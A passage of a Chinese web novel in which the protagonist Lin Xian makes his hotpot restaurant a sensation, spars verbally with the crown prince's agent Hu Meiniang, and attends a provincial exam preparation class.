有巡抚、知府两位顶级大佬坐镇背书,众人自然给足面子,纷纷落座。
酒过三巡,宴至中场。
清汤锅的鲜美赢得了不少文士的赞许,诸如“汤清味雅,颇有古风”、“食材本味,方显功底”之类的评价不绝于耳。
然而那半边依旧在咕嘟咕嘟翻滚、红油灼灼、椒香霸道的红汤锅,却仍是观者众而尝者稀。
不少士绅只是远远瞥上一眼,便下意识喉头滚动,悄悄端起茶杯啜饮,仿佛那红色是什么洪水猛兽一般。
周知府见状,脸上虽仍保持着笑容,手心却微微见汗,目光不由地瞟向主位的林闲。
林闲却神色自若,嘴角甚至噙着一丝若有若无的玩味笑意,仿佛眼前这冷热不均的场面早在他预料之中。
他优雅端起酒杯,向周知府方向不易察觉地微微颔首。
周知府心领神会,立刻清了清嗓子,用力拍了拍手,声音洪亮道:“诸位高贤,佳肴需有妙舞助兴!下面,请欣赏一段新排的‘迎春破冰舞’,为诸位助助酒兴!”
话音未落,店内训练有素的侍者迅速而悄然地将部分明亮的烛台移开,只留几处朦胧光影。
整个大厅的光线,瞬间变得暧昧而富有情调。
突然!
一阵节奏鲜明、带着浓郁西域风情的乐声骤然响起!
这音乐是林闲根据记忆中的阿拉伯舞曲旋律,亲自指导乐师排练而成,在这个时代听来,极具冲击力和异域神秘感!
众人愕然望去,只见数位身姿曼妙、衣着大胆的歌姬,翩然旋入场中。
她们身着经过林闲“改良”的舞衣——既保留了西域舞娘的性感奔放(薄纱曼妙,环佩叮当),又融入了江南水乡的灵动飘逸(水袖轻摆,裙袂如云)。
这些歌姬的舞蹈,与江南常见的柔美婉转截然不同!
动作热辣奔放腰肢扭动如蛇,眼神妩媚勾魂,充满了西域的诱惑!
她们的每一个眼神,每一次旋转,都精准踩在激昂的鼓点上,仿佛敲打在众人的心尖上!
舞至酣处,更有歌姬手持以玉石、琉璃精心雕琢的、栩栩如生的迷你牛羊肉卷、毛肚、黄喉等火锅食材模型,随着节奏作势“涮煮”、 “品尝”,姿态妖娆撩人,又带着几分俏皮!
这前所未见、极具视觉冲击力和暗示性的表演,瞬间引爆了全场的气氛!
“哗——!”
满堂宾客先是一片寂静,随即爆发出震天的喝彩与惊叹!
“此舞……此舞真是……”
一位老学究看得目瞪口呆,胡子翘起老高,想批评“有伤风化”,却又觉得莫名吸引人,话卡在喉咙里。
他身旁一位较为开通的致仕官员低声笑道:“张老,可是觉得有违圣人之教?诶,此言差矣!《乐记》有云:‘乐者,乐也,人情之所不能免也。’此舞热情奔放,畅快淋漓,正是发乎情止乎礼,有何不可?闲先生此举,颇有古之君子‘与民同乐’之风啊!”
“妙极!妙极!”
另一位身着锦袍的富商击掌赞叹,对同桌的士绅道:“瞧瞧这舞姿,这气魄!闲先生真是个人物!竟能将西域风情与江南灵韵结合得如此天衣无缝,这哪里是舞?这分明是流动的诗,是立体的画!还有这红汤……观其色,闻其香便知非同凡响。与这舞堪称绝配!今日方知,何为‘色香味’俱全之真谛!”
“热情似火,活力四射!前所未见,前所未见啊!”
较为开明的士绅已经击节赞叹,对同伴道:“王兄,你看此舞此乐,犹如李太白诗篇,汪洋恣肆豪迈不羁。观之令人胸中块垒尽消!先生以舞佐食,以乐侑酒,深得古礼精髓,又开一代新风。此等雅集,方称得上雅俗共赏,妙趣横生!”
年轻些的才子们更是看得目不转睛,面色潮红激动地交头接耳:“刘兄,快看!这旋转眼神!当真勾魂摄魄!闲先生从何处寻来这些妙人儿?此舞只应天上有啊!”
“何止!你瞧那手持食材模型之巧思,将饮食与艺术完美融合!闲先生之才,学究天人!不仅经义文章做得好,这格物致用、引导风尚的本事,更是我辈楷模!”
“正是!以往雅集,不是吟诗作对,便是听琴观画,虽雅却略显沉闷。闲先生此番别出心裁,令人耳目一新!日后若我等做东,当效仿此法,方不落俗套!”
就在气氛被推向高潮之际,林闲适时站起身。
他手持特制长筷,从容不迫地夹起一片薄如蝉翼、纹理漂亮的雪花肥牛,在众人瞩目下伸入那翻腾的红汤中,手腕轻抖行云流水般地“七上八下” 涮烫,动作潇洒娴熟宛如艺术。
肉片瞬间变色卷曲,裹满了红亮的汤汁。
他将其放入精致的香油蒜泥碟中一蘸,随即送入自己口中细细咀嚼,脸上露出极其享受、近乎陶醉的表情,还配合地哈出一口带着满足的热气。
然后他环视全场,声音朗朗,穿透乐声与喧哗:“诸位高贤!”
他这一声,顿时吸引了所有人的注意力。
“观此热舞,是否觉气血奔涌寒意全无,心胸为之一阔?”
林闲语带诱惑,伸手指向那红汤锅:“此红汤火锅,便如同此舞!初尝或许凛冽霸道,如舞步之激昂,令人心惊!但一旦适应深入其中,便是通体舒泰酣畅淋漓,快意人生! 其中百味纷呈变化无穷,岂是清淡一味所能涵盖?”
他话锋一转,引经据典拔高立意:“正如诗有婉约之柔美,亦有豪放之壮阔!词有柳永之缠绵,亦有东坡之旷达!食之道,亦当如此!海纳百川,有容乃大!何必拘泥于清淡一途,画地为牢,徒然失了人生诸多乐趣? 今日这红汤,便是那诗中之豪放,词中之东坡! 诸位皆是雅士,岂能不品此中豪情?”
说着他亲自端起那碟刚涮好的肉,走到邻座几位最为德高望重、却也最为犹豫的老先生席前,执后辈礼,恭敬奉上:“陈老、李公、张先生,请尝此味,品此豪情。”
那几位老先生面面相觑,碍于林闲亲自奉上、巡抚知府在场,又被他一番话说得心潮澎湃,只好硬着头皮,小心翼翼地夹起品尝。
初入口几人皆是眉头紧锁,龇牙咧嘴,一副痛苦模样,引得周围人屏息观望。
但不过两三息之后,他们的表情骤然变化!
“嘶……哈!妙!此味……”
陈老眼睛猛地瞪圆,胡须微颤!
“初时如烈火灼喉,继而如甘泉涌流,回味无穷!” 李公拍案叫绝!
“通体透汗,寒气尽去!快哉!快哉!” 张先生激动得直接解开了领口!
有了这几位“权威”的现场“真香”认证,加上热舞点燃的氛围,以及林闲那番极具煽动性和文化包装的说辞,现场的气氛瞬间被点燃至沸点!
“给我也来一份红汤!”
“快!涮毛肚!要那片最大的!”
“嘶哈……过瘾!没想到这辣味如此迷人!”
“以前真是迂腐了!今日方知何为饮食之乐!”
一时间,店内“嘶哈”之声不绝于耳!
原本那些矜持的风雅之士,也纷纷放下架子挽起袖子,额头上渗出细密汗珠,毫无形象大快朵颐起来…..
整个大厅热气腾腾,仿佛在进行一场盛大的狂欢!
周巡抚吃得额头冒汗,官袍的领口也敞开了。
他举杯向林闲示意,朗声大笑赞道:“好!好一个‘快意人生之味’!好一个‘诗中之豪放,词中之东坡’!闲先生此言,深得我心,大善! 本抚今日方知,这辛辣之中,竟有如此豪情与境界!当浮一大白!”
周知府更是激动得满脸放光,他对身旁的师爷低声道:“瞧瞧!瞧瞧!闲先生真乃神人也!翻手为云,覆手为雨!化腐朽为神奇,变粗鄙为风雅!我这知府,算是白当了这么多年!”
随后,邻近几桌的官员士绅纷纷附和:
“两位大人所言极是!闲先生以美食喻人生,境界高远!”
“正是!‘诗中之豪放,词中之东坡’,此喻精妙绝伦!今日这红汤火锅,当得起此誉!”
“闲先生此举,不仅是口腹之享,更是引领我江南文风食尚转向更加开阔包容啊!功在当代!”
周知府对师爷的低语,也被旁边一位耳朵尖的盐商听到。
那盐商立刻对同桌人感慨道:“听见没?连府台大人都对闲先生佩服得五体投地。这位闲先生真是点石成金的神仙人物,跟着他走准没错。明日我就让家里厨子来学这火锅手艺,不,我要入股这‘元启火锅’!”
这一晚,“元启火锅”尤其是红汤锅,凭借其独特的味觉冲击和林闲堪称教科书级别的“文化营销+视觉营销”组合拳,彻底征服了江宁的风雅之士。
“吃辣火锅,赏热辣舞,品豪放情” 迅速成为江宁最新潮、最时髦的社交活动。
消息如长了翅膀般传开,火锅店生意火爆到一塌糊涂,预约直接排到了一个月之后!
林闲成功将“粗鄙不文”的饮食,巧妙包装成了一种蕴含“豪放”、“热忱”、“快意人生”新内涵的文化风尚和生活方式。
江南延续数百年的饮食文化审美,因他这一晚的“辣舞鸿门宴”,而悄然裂开了一道缝隙。
一股新的潮流,正汹涌而来…….
第144章 日进斗金:火锅燃城
“冬尽春来·新味雅集”的空前成功,在江宁美食界投下了一颗核弹!
元启火锅及其特色“红汤辣锅”一夜间火遍全城,成为街头巷尾唯一的话题!
无论是自诩舌尖挑剔的文人墨客,还是追逐潮流的商贾巨富,乃至那些好个新鲜热闹的寻常富户,无不以能抢先尝到这“元启火锅”为荣。
仿佛晚去一天,他们就成了跟不上时代的土包子!
次日清晨,天光尚未大亮,“元启火锅”旗舰店那气派非凡的大门外,已是人山人海,乌泱泱一片!
等候的人群蜿蜒曲折,如长龙般盘踞了数条街道,喧闹声催促声直冲云霄,场面比当初售票雅集时还要火爆数倍!
不少有先见之明的富家公子,甚至提前一夜就让小厮带着马扎来排队,可谓拼尽全力!
辰时正刻,店门轰然洞开。
人群如决堤的洪水,蜂拥而入!
店内瞬间座无虚席,连临时加设的雅间和角落里的散座都被抢占一空!
后来者只能望“锅”兴叹,捶胸顿足。
后厨更是如同战场,十几名刀工精湛的师傅,手起刀落,片肉如飞几乎切出残影,案板上的牛羊肉以肉眼可见的速度消失,又迅速补充上来。
跑堂的小二们脚不点地,穿梭如织高声唱喏,应答不绝,额头上豆大的汗珠都来不及擦。
那几十口特制的“鸳鸯沸鼎”,从早到晚咕嘟咕嘟地沸腾不息,红油翻滚,白汤氤氲,浓郁的香气弥漫全店,飘散长街,勾得门外排队的人口水直流,心急如焚!
这火爆到炸裂的场面,完全超出了所有人的预期。
不到午时,后厨总管就连滚带爬、面色惨白地冲到后院,向正在悠然品茶听取汇报其他产业情况的林闲紧急禀报:“东家!不好了!备下的上等牛羊肉、各色鲜蔬、手工丸滑,已经……已经见底了!照这个势头,顶多再支撑半个时辰!外面还有那么多客人等着呢!这可如何是好?”
掌柜的在一旁急得如同热锅上的蚂蚁,满头大汗,团团转:“东家,是不是……是不是先暂停接待?或者……限量供应?”
林闲听罢,神色不变。
他连眼皮都没抬一下,慢条斯理地抿了一口茶,这才淡然开口:“慌什么?”
掌柜(震惊):“可东家….”
林闲放下茶杯,目光平静地扫过慌乱的掌柜和后厨总管,直接下令:“即刻起实行‘预约制’!制作一批精美的号牌,每日限定五十桌,凭牌入席,过时不候。”
他顿了顿,继续吩咐:“同时持我名帖,去找城中最大的几家肉行、菜贩,签订长期独家供货契约,价格可略高于市价,但必须保证品质最优、供应最稳。告诉他们,若能满足要求,‘元启’未来的所有食材采购,优先考虑他们。”
他看向掌柜,再次补充道:“你亲自去办。再让工坊加紧制作一批‘团圆沸鼎’和特制锅具,我有大用。”
命令一下,店内迅速执行。
尽管采取了严格的限流措施,但“元启火锅”的盈利依旧达到了一个令人瞠目结舌的地步!
当晚,管家捧着账本,双手激动得微微颤抖,声音都变了调:“老……老爷!算……算出来了!开业首日,刨去所有成本,净利……净利高达一千二百三十七两雪花银!这还只是第一天!现在预约已经排到了半个月之后!这……这简直是抢钱啊!不,抢钱都没这么快!”
消息如长了翅膀,瞬间传遍全城!
知府周大人得到消息时正在用晚膳,惊得筷子都掉在了桌上。
他随即抚掌大笑,笑得见牙不见眼:“哈哈哈!好!好个闲先生!真乃财神爷下凡!日进斗金!日进斗金啊!本官这股份,真是押对宝了!” 他立刻对师爷吩咐:“快!加派一队衙役,去火锅店附近维持秩序,闲先生的生意,就是本官的政绩!万万不能出岔子!”
而江宁城内其他酒楼的老板们,则是个个羡慕得眼红脖子粗,酸得如同喝了一缸老陈醋。
“天爷呀!一天赚一千多两?这……这林解元是点石成金吗?!” 望江楼的老板捶胸顿足。
“唉,早知道当初闲先生搞那‘雅集’,咱们也该去凑个热闹,偷学个一招半式也好啊!” 醉仙楼的东家后悔不迭。
“模仿?谈何容易!那红汤底料的配方,听说有三十六味香料,炒制火候极难掌握!还有那蘸料、那锅具,都是独门手艺!学不来,根本学不来!” 一位试图仿制失败的老板唉声叹气。
面对这如潮水般涌来的赞誉和滚滚财源,身处风暴中心的林闲,却显得异常平静,甚至有些过于淡漠。他听完管家的汇报,只是淡淡地点了点头,随手将账本合上,放到一边,仿佛那上面记录的不是惊人的财富,而是一串无关紧要的数字。
“嗯,知道了。按计划进行即可。告诉掌柜的,品质和服务是根本,勿因生意火爆而懈怠。”
林闲的语气平淡无波,听不出一丝喜悦。
管家见状,忍不住激动地说:“三爷!这可是日进斗金,咱们元启如今可是江宁城老大了!”
林闲抬眼看了看满脸通红的管家,嘴角微微勾起一抹弧度:“银子嘛,生不带来死不带去,不过是个数字。重要的是我们确实又开创了一种新的风尚,丰富了这世间的一种滋味。”
管家(内心)疯狂吐槽:“三爷,您装逼境界太高了….”
当喧嚣散去,书房内重归寂静。
林闲独自凭窗而立,望着窗外江宁城的万家灯火时,一丝难以言喻的空虚感,却悄然涌上心头。
成功来得太快太容易,反而让他有了一种不真实感。
财富的积累,声名的显赫,似乎并不能完全填补内心深处的某种渴望。
他知道这只是一个开始,“元启”的商业版图必将再添上一块金字招牌。但下一个目标在哪里?这种不断复制成功、积累财富的游戏,尽头又是什么?
林闲这超然物外的平静,落在身边人眼中,却成了深不可测、逼格冲天的表现。
林承宗对这位爹更是崇拜得五体投地,他激动对族人亲信说:“看到没?爹面对如此巨利,竟能如此波澜不惊,视若等闲!这才是真正干大事的气度啊!‘泰山崩于前而色不变,麋鹿兴于左而目不瞬’!古人所言,便是爹这般了!”
店里的掌柜和伙计们私下议论起来,更是将林闲奉若神明:
“三爷搞个雅集跳个舞,就能让全城的人抢着送钱!这手段,闻所未闻!”
“何止!你看三爷那气度,一天赚上千两银子,眼皮都不带眨一下的!这才是真豪杰!”
“跟着这样的东家,咱们以后前途无量啊!”
就连今天来店里关照生意的周知府,见到林闲那副云淡风轻的模样,也忍不住对师爷感叹:“瞧瞧!这才叫气度!视金钱如浮云,搅动风云若等闲!闲先生之境界,非我等俗吏所能揣度也!”
就这样,在林闲自己都未曾刻意营造的情况下,他这“视巨额财富如无物”的淡然,反而成为他个人形象中最耀眼、最装逼的一环,让他在众人心中的地位,再次无限拔高。
又是一个中午,酒酣耳热,众人起哄要莅临指导工作的“解元公”再展吉他绝技。
林闲推辞不过,便笑着取过那把紫檀木吉他。
他指尖轻拨琴弦,流出一段明快跃动、略带布鲁斯风味的旋律。
他即兴弹唱,歌词诙谐又暗含机锋:
(吉他前奏轻快)
“红油滚,白汤沸,鸳鸯锅里乾坤大~
(琴弦扫弦,节奏加快)
毛肚脆,肥牛滑,七上八下味最佳!
(间奏吉他华彩,炫技般流畅)
莫笑麻辣太泼辣,此中豪情胜饮茶!
文人墨客何须矜持?放开手脚才是真风雅!
(副歌部分,旋律高昂,充满煽动力)
来来来!元启火锅聚英豪!
沸鼎燃情忘烦忧!
一口麻辣一口酒,快意人生乐逍遥!
什么功名与利禄,不如眼前这锅好!”
一曲终了,满座皆惊!
这歌词直白大胆,将饮食之乐置于功名利禄之上,却又充满了洒脱不羁的生命力,与火锅的热烈气质完美契合。
一位素以清高著称的老名士抚掌惊叹:“妙哉!闲先生此曲,化俗为雅,点铁成金!将市井饮食唱出魏晋风度,老夫……竟听得想立刻涮片毛肚!”
周知府更是击节赞叹:“闲先生真乃神人也!弹吉他可悟圣贤道,唱小调能兴买卖经!此曲一出,怕不是明日全城的文人都要挤破头来体验这‘快意人生’了!”
林闲含笑放下吉他,语气淡然却逼格尽显:“信手涂鸦,博诸君一笑。饮食男女,人之大欲,坦然面对方见本真。我这火锅,卖的不仅是味道,更是一份‘真性情’。”
此举无疑又为“元启火锅”贴上了一个“有文化、有格调”的标签,将其营销推向了新的高度!
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第145章 旧地重游:片语震狐狸精
是夜,月华如水,秦淮河上流光溢彩,画舫如织,丝竹管弦之声靡靡不绝,氤氲的水汽与脂粉香气交织,营造出一派繁华旖旎的盛世图景。
送走最后一拨意犹未尽的客人,将店务交代完毕后林闲走出火锅店门庭。
店外的喧嚣与热浪被抛在身后,初春的夜风带着一丝料峭的寒意,吹拂着他月白色的长衫。
林闲独自漫步在秦淮河畔,望着那熟悉而又陌生的桨声灯影,心中却莫名升起一股索然无味之感。
眼前的繁华盛景,似乎再也无法触动他的心弦。
他的脚步像是开了导航,不由自主转向了那条幽静熟悉的巷道,走到了那座曾承载了他与苏元无数温馨记忆的听雪小筑前。
小筑依旧静默矗立在秦淮河支流的拐角处,门前两盏昏黄的灯笼在夜风中轻轻摇曳,投下斑驳陆离的光影。
这里曾是他与苏元琴歌相和、煮茶论道的地方,庭院中的一草一木,似乎都还残留着伊人的气息和清越的琴音。然而此刻,物是人非。
庭园寂静无声,再也听不到那令人心静的琴韵,也见不到那抹素白如雪、清冷脱俗的身影。
一股强烈得几乎令人窒息的惆怅与物是人非的感慨,如同潮水般涌上林闲的心头。他驻足于小筑旁一棵垂柳的阴影下,柳条新绿,在月色中如烟似雾。
他凝望着那扇熟悉的、紧闭的雕花木窗,仿佛能透过窗纸,看到昔日两人对坐的身影。情不自禁地,他低声吟诵,声音低沉而充满磁性,在寂静的夜色中格外清晰:
“小筑依旧在,琴音已渺茫。
秦淮水犹寒,不见旧时裳。
元儿西北去,闲心寄何方?
空对庭前雪,独嗅冷梅香。”
诗句浅白如话,未加雕琢,却情真意切,字字泣血,充满了对往昔的追忆与眼前人去楼空的无限感伤。
就在林闲沉浸于回忆与感伤之中时,
“吱呀——”
一声轻微却刺耳的声响,打破了夜的寂静。听雪小筑那扇紧闭的朱红色木门,竟从内缓缓开启。
一道窈窕的身影,袅袅娜娜地从门内的阴影中步出。
月光下,只见此女身着玫红色锦缎长裙,裙摆用金线绣着大朵盛放的牡丹,在月色下泛着奢华的光泽。
她身段婀娜多姿,行走间如弱柳扶风,云鬓高耸,斜插一支赤金点翠步摇,随着她的步伐轻轻晃动,流光溢彩。
此女眉目含情带俏,嘴角噙着一抹似笑非笑的弧度,一颦一笑都流露出一种成熟女子特有的风情与妩媚,与苏元那种清冷脱俗、不食人间烟火的仙子气质截然不同。仿佛一个是诱人沉沦的烈焰,一个是可远观不可亵玩的清莲。
此女正是太子新派来接手江南事务、主持听雪小筑的主事人,名叫胡媚娘,人称“媚夫人”,以手腕玲珑且精通媚术、善于掌控人心而闻名,是太子麾下颇为得力的心腹干将之一。
胡媚娘见到柳荫下的林闲,眼中飞快地闪过一丝恰到好处的惊讶,随即化为盈盈笑意。
她款步上前,动作优雅中带着刻意的诱惑,声音软糯甜腻仿佛带着钩子直挠人心:“我道是哪位风雅之士,在这深夜对月吟诗,原来是故地重游,心有千千结呀?”
她目光流转,细细打量着林闲,带着审视好奇,更隐含着一种摄人心魄的魅力,仿佛要将他从里到外看个通透。
林闲瞬间收敛了外露的情绪,面色恢复了一贯的平静无波,仿佛刚才那个感时伤怀的诗人只是幻影。
他自然认得此女,影刹提供的详尽情报中,对此女的容貌、性格、手段有着清晰的描述。
“原来是媚夫人。”
林闲微微颔首,语气疏离而有礼,保持着恰到好处的距离感:“林某信步至此,偶有所感,扰了夫人清静,还望海涵。”
他目光清澈,坦然迎向胡媚娘那极具侵略性的眼神,丝毫不为所动。
胡媚娘掩口发出一声轻笑,声音如同玉珠落盘,眼波流转得更加肆意,媚态横生。
她故意又向前靠近了半步,一股甜腻得发齁、仿佛混合了多种名贵香料和催情花草的异香随之扑面而来,直钻林闲的口鼻。
这香气浓郁而具有强烈的暗示性,寻常男子闻之,只怕立刻会心猿意马,意乱情迷。
“哎哟哟,解元公何必如此客气?”
她语带娇嗔,话语却暗藏机锋:“妾身久闻解元公大名,如雷贯耳。今日一见,果然名不虚传。不仅才高八斗,更是情深意重啊。苏大家这才离开几日,解元公便这般念念不忘,深夜在此对月寄情。真是……令人感动得很呢~”
话语中带着一丝不易察觉的试探,甚至还有几分挑逗的意味。
那女子边说间媚眼如丝,配合着那诡异的异香,无形的魅惑骤然增强,如一张无形的大网向林闲笼罩而来!
林闲岂是等闲之辈?
他心智之坚,远超常人想象!
几乎在察觉到那魅惑力场和异香侵袭的瞬间,他心中便是一声冷笑:“雕虫小技,也敢班门弄斧?”
他面上却不动声色,仿佛毫无所觉。只是看似随意地抬起右手,用手轻轻整理了一下左手的衣袖褶皱。
就在这看似不经意的动作间,他指尖微不可察地一用力,悄然捏碎了一直藏在袖口暗袋中的一枚特制香丸。
这香丸名曰“清心醒神丸”,是林闲用提神醒脑的顶级薄荷、冰片、天然麝香以及带着凛冽寒意的腊梅精华等药材,以古法秘制而成,专为应对各种迷药、幻术乃至此类精神干扰。
“噗~”
一声微不可闻的轻响,一股极其清淡、却带着雪山寒梅般凛冽清澈气息的香味,瞬间以林闲为中心弥散开来!
这香气并不浓烈,却极具穿透力和净化力。
甜腻诡异的异香一遇到这清冷梅香,仿佛冰雪遇上了烈阳,瞬间被净化得干干净净!
胡媚娘只觉得一股清凉凛冽的气息,如银针般直刺她的眉心,让她精心营造的暧昧力场为之一滞,效果大打折扣。
她心中一惊,看向林闲的眼神瞬间多了几分惊疑和凝重!
此人,竟能如此轻易破我媚术?!
林闲仿佛对刚才无声的较量毫无所觉,淡然一笑平静地回视着胡媚娘道:“夫人谬赞了。林某只是觉得,此地曾因元儿的琴音而雅,因彼此真诚的交流而贵。如今易主,虽则陈设依旧,灯火依旧,只怕内里的韵味,已截然不同了。”
他话锋陡然一转,意味深长地接着道:“就如这秦淮河水,今日流经此处,看似与昨日无异,波澜不兴。然水已非旧时水,景亦非旧时景。暗流汹涌之处,谁又可知?苏元今日之远行,或许正是看清了某些潮流的无常与人心的易变。夫人今日掌此小筑,看似风光无限,宾客盈门,却不知明日之潮水,又将流向何方?是否也会如这秦淮水,看似平静,实则瞬息万变呢?”
这番话看似是感慨世事变迁物是人非,实则字字珠玑,暗藏机锋。
他既点明了苏元离开的真实原因(太子的猜忌与逼迫),也暗示了太子麾下人事更迭的不可靠与潜在风险,更是毫不客气地提醒胡媚娘:你今日的风光,也可能如苏元一般,转眼成空!
胡媚娘脸上的笑容微微一僵,那完美的妩媚面具上出现了一丝裂痕。
她没想到林闲不仅轻易破除了她的媚术,言辞更是如此犀利老辣,直指要害!
胡媚娘强自镇定,试图用更娇嗔的语气来化解这份犀利,掩盖内心的震动,声音却不自觉地带上了一丝不易察觉的干涩:“解元公……这话说的,真是让人家……心慌慌呢~妾身一介女流,不过是奉殿下之命行事,尽心尽力为殿下分忧罢了。殿下雄才大略,待下宽厚,恩泽似海,这潮水……自然是稳当的,定会泽被四方的。”
林闲却不为所动,甚至嘴角那抹淡笑都未曾改变。
他继续加压,语气平和得令人心悸:“尽心尽力自是本分。不过,林某方才倒是听闻了一件趣事,或可佐证林某方才所言,并非杞人忧天。”
他故意顿了顿,目光如炬,紧紧锁定胡媚娘微微闪烁的眼神,缓缓一字一句道:“听说,就在今日,有几拨不开眼、自不量力的小贼,鬼鬼祟祟地想打林某那城外几亩精心侍弄的花圃的主意。呵呵,结果呢?还没等他们靠近栅栏,就被不知从哪儿冒出来的陌生人,给客客气气请走了。据说……下场不甚乐观,怕是这辈子都不敢再靠近江宁地界了。唉,你说这江宁地界,如今还真是热心人多啊,路见不平,拔刀相助。”
林闲摇了摇头,仿佛在说一件与自己无关的趣闻,但目光却锐利如刀:“夫人,你说这背后差遣的这些人,费尽心机,却损兵折将,打草惊蛇,是不是有点……搬起石头砸自己的脚——自作自受的意味?这眼光和手段,着实令人……不敢恭维啊。”
此言一出如平地惊雷,狠狠炸响在胡媚娘的耳边!
她脸色骤变,唰的一下变得惨白!她当然知道太子暗中派人去窃取“元启”花种之事!她更接到了行动失败、派出人手神秘失踪的密报!此事极为隐秘,她本以为天衣无缝,却万万没想到,林闲不仅知道,而且听这口气,分明是了如指掌!甚至暗示了是赵王或汉王的人出手干预,轻松解决了太子派去的人!
这意味着什么?
意味着太子的一举一动,可能早已在林闲乃至其合作者的严密监控之下。太子自以为隐秘的行动,在别人眼里或许就是个笑话!
这简直太可怕了!
林闲的能量和情报网络,竟然恐怖如斯!
胡媚娘再也维持不住那妩媚的笑容,脸上的血色褪得干干净净。她红唇微微颤抖,看向林闲的眼神中充满了无法掩饰的惊骇。
她原本以为对方只是个有些才华、运气不错的商人,顶多攀附上了赵王汉王,没想到其心思之深沉、手段之狠辣、洞察力之敏锐,远超她最坏的想象。
这哪里是什么文弱书生,分明是一头蛰伏的洪荒巨兽!
林闲看着她花容失色的样子,嘴角那抹淡笑终于加深了几分,却冰冷得没有一丝温度。
他补上最后一句,声音不高却如重锤敲在胡媚娘心间:“所以林某才说,依附他人仰人鼻息,终是镜花水月。看似美好,实则脆弱不堪。苏元的今天,望不会成为夫人的明天。夫人是聪明人,其中利害,还望三思而后行。好自为之。”
说罢他不再多看那失魂落魄的胡媚娘一眼,优雅地一拂衣袖,转身迈着从容不迫的步伐飘然离去。
身影很快融入秦淮河畔的夜色与灯火阑珊之中,仿佛从未出现过一般。
夜风中,只留下胡媚娘独自僵立在听雪小筑冰冷的石阶上,浑身发冷心乱如麻。
寒风掠过,她竟不由自主地打了个寒颤。
林闲最后那几句话,如魔咒般在她脑海中反复回响。
她第一次,对自己选择的道路和太子的前景,产生了无法驱散的怀疑和巨大的恐惧。
这个看似温文尔雅的林解元,其可怕程度,远远超出了她的预料。
今夜之后。
江宁的局势在她眼中,已然完全不同。
第146章 省城春早
很快,火锅生意火爆到近乎“疯狂”的境界。
日进斗金已不足以形容其盛况,预约直接排到了一个月开外,堪称江宁商业史上的奇迹。
作为这一切的缔造者,林闲却并未沉溺于这唾手可得的巨大成功。
见生意已完全步入正轨,账目清晰管理有序。
他便毫不犹豫将日常运营全权委托给了周知府引荐的几位得力掌柜和忠心耿耿、能力日益凸显的大管家林福。
自己则轻装简从,却又别有深意动身前往江南省城,准备参加由省学政衙门主办、规格极高的“会试考前研习班”。
此次出行,林闲的排场与以往大不相同。
可谓低调中尽显奢华,内敛中暗藏锋芒。
他并未选择招摇的豪华车队,而是乘坐了一辆自家族人特制的外观普通但里子却极为宽敞舒适的马车。
车身选用吉他同款的紫檀木,打磨得光可鉴人却不施过多漆彩,保留木质天然纹理,显得沉稳大气。
车辕上,插着一面小小的三角锦旗。
旗帜用料讲究,以银线绣着一个飘逸灵动、颇具风骨的“闲”字——在江南境内的高端圈子中,已是一种身份和品味的象征。
随行人员还有两名看似寻常、实则太阳穴微微鼓起的精干护卫——这是影刹亲自挑选并安排的好手,足以应对寻常麻烦。
整个车队规模不大,却自有一股沉稳如山的非凡气度。懂行的人一眼便能看出,这绝非普通举子应有的排场。
抵达江南省城时,已是研习班开幕的前夕。
省城规模宏大,远非江宁府城可比。
街市纵横车水马龙,处处彰显着一省中心的繁华与气派。
林闲一行入住的是城中最负盛名、也最昂贵的“悦来客栈”后院的一处独立幽静院落。
客栈掌柜早已闻知“林解元”大名,又见其人马虽简,气度却极为不凡。
他不敢怠慢亲自出迎,殷勤备至间将一切安排得妥妥当当。
次日清晨,阳光明媚。
研习班在省城最具声望、历史悠久的崇正书院正式开幕。
书院门前,早已停满了各色华美车轿,江南各州府筛选而来的青年才俊云集于此,个个衣冠楚楚意气风发。
大家相互寒暄拱手高谈阔论,空气中弥漫着一种精英汇聚所特有的大佬氛围。
当林闲到场时,瞬间吸引了大片目光,成为了全场瞩目的焦点!
他并未像绝大多数举子那样,规规矩矩地穿着标准的青蓝色儒生襕衫,而是别出心裁穿了一身月白云纹杭绸直裰。
其衣料柔软而有垂感,在晨光下泛着柔和的光泽,外罩一件玄青色缂丝锦缎斗篷。斗篷的暗纹在光线流转间若隐若现,华美而不张扬。
这一身衣着用料极其考究,剪裁合体至极,完美勾勒出他才气的身姿。既不失文人的清雅风骨,又透出一种远超寻常书生的贵气与独特品味。
林闲步履从容不迫,在激动难耐或目空一切的举子中,显得格外的耀眼。
“快看!是江陵府的林解元!” 有人低呼。
“果然名不虚传!这气度……啧啧,绝非池中之物!”
“听闻他不仅是今科解元,那‘元启’商号更是日进斗金,富可敌城!”
“嘘……小声点,他过来了。瞧这穿着,这派头,哪像是来备考的举子,分明是王孙公子出游的架势!”
“难怪连周巡抚都对他青眼有加……”
窃窃私语和惊叹声,在人群中迅速蔓延。
林闲却恍若未闻,面上带着恰到好处的微笑。
他向几位面熟或上前打招呼的举子点头致意,举止毫无新科举人常见的局促不安和狂士的傲气。
这种见惯大场面的沉稳,反而更让人心生敬意,不敢小觑。
开幕仪式,在书院庄严肃穆的正堂举行。
堂内布置得古雅而隆重,周巡抚、李学政,以及几位须发皆白的致仕老翰林、老进士已在主位就坐。
台下,数十位经过严格筛选的江南年轻举人依序落座,气氛肃穆。
当林闲缓步走入大堂时,端坐主位正中的周巡抚,目光立刻捕捉到了他。
令人震惊的是,周巡抚竟然主动从座位上微微向前倾身,对着林闲的方向,颔首致意,脸上露出了毫不掩饰的、极为温和甚至带着几分欣赏的笑容!
这一细微却意义非凡的互动,被在场几乎所有有心人看在了眼里!顿时,无数道目光齐刷刷聚焦到林闲身上,充满了震惊、羡慕、以及难以言喻的复杂情绪!
巡抚大人何等身份?
竟对一举子如此礼遇?这林解元……究竟是何方神圣?!
面对这突如其来的、堪称最高级别的“关注”,林闲却神色不变,依旧从容不迫。
他停下脚步,面向周巡抚的方向躬身行了一礼,既表达了敬意,又不失身份。
这份定力,再次让众人暗吸一口凉气!
仪式开始,周巡抚致辞。
他先是高度评价了在座举子的才华,勉励大家潜心向学,为国效力。
讲到关键处,他话锋陡然一转扫过全场,最终精准定格在了林闲身上,随后开启发挥:“诸位皆是我江南俊彦,未来国之栋梁。读书作文,当知经世致用之理。切莫学那等寻章摘句、皓首穷经却于国于民无益的腐儒!”
他稍作停顿,意味深长瞥向林闲笑道:“譬如,我江南才子,江陵府解元林闲!”
“哗——!”
全场瞬间寂静,所有人都屏住了呼吸!
